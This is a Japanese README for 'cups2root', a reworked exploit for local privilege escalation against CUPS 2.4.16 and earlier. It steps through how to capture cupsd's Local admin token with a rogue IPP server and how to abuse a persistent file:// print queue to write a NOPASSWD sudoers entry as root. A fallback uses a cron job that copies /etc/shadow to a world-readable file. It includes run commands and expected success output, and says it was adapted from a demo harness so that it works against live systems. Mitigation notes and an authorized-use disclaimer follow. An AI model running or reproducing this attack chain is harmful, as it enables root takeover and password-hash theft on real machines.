
root の `cupsd` に対するローカル権限昇格。
cups2root、デハーネス版)CVSS 3.x : 8.4 HIGH (概算 — 要検証)
CWE : CWE-287 (不適切な認証) + CWE-269 (不適切な権限管理)
Fix : CUPS 2.4.17+
Affects : CUPS ≤ 2.4.16 で cupsd が root として動作し、631 がローカルから到達可能な場合
root で動作する cupsd に対するローカル権限昇格。悪意のあるローカルサーバに対して IPP
クライアントとして動作するよう強制されると、cupsd は 401 WWW-Authenticate: Local
チャレンジに対して自身の管理者トークンを再送して応答する。このトークンを取得すれば、非特権ユーザーが
cupsd を管理者(root)として操作できる。永続的な file:// プリントキュー(printer-is-temporary=false)
は FileDevice ポリシーを回避するため、生の Print-Job が攻撃者のバイト列を任意のパスに root として
書き込む — ここでは NOPASSWD sudoers フラグメント。
2 つのプリミティブが連鎖して任意の root ファイル書き込みを実現する:
Local 認証。 cupsd は /run/cups/certs/ 配下の root
証明書に基づく Local 認証を受け入れる。IPP クライアントとして動作する際、401 WWW-Authenticate: Local
でチャレンジされると、その管理者トークンを自ら提供する。cupsd を自分が制御する偽の IPP サーバに
向ければ、root として操作するのに有効なトークンを取得できる。device-uri としての file:// はデフォルトで拒否される。キューを
printer-is-temporary=false で作成すると永続化され、このガードを回避できる。生の Print-Job
はそのバイト列を対象ファイルに root として直接書き込む。 cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> は cupsd 自身の管理者トークン — これを /admin/ に対して再送すれば root 相当。
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
参照 PoC(GHSA-c54j-2vqw-wpwp / cups2root、R. de Jager)はデモハーネスである:root として
実行され、独自の cupsd と使い捨ての unpriv ユーザーを起動し、sudo -u unpriv で攻撃者を
シミュレートする。そのままでは使用不可。変更点:
127.0.0.1:631 ですでに root として動作しているシステム cupsdを対象とする。$ATTACKER);フラグメント <user> ALL=(ALL) NOPASSWD: ALL。ipptool / lpadmin / lpinfo / cupsctl を一切使わない完全な書き直し| Status | Versions |
|---|---|
| Vulnerable | CUPS ≤ 2.4.16 |
| Fixed | CUPS 2.4.17 and later |
| File | Role |
|---|---|
exploit.py | PoC: token leak → file:// queue → raw Print-Job → sudoers root |
README.md | This file |
Python 3 標準ライブラリのみ — 依存関係なし。
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
成功時:
[+] Local token: <token>
[+] ROOT via sudoers
その後 sudo -i。
cupsd を root で実行しない;権限を降格する / サービスをサンドボックス化する。Local 認証と file:// デバイスバックエンドを制限する;永続キューに対して FileDevice ポリシーを
適用し続ける。systemctl disable --now cups cups-browsed を実行し、パッケージを削除する。このプロジェクトは、許可されたセキュリティテスト、教育、および防御的研究のみを目的としています。適用される法律およびラボまたはクライアントのエンゲージメントルールを遵守する責任はあなたにあります。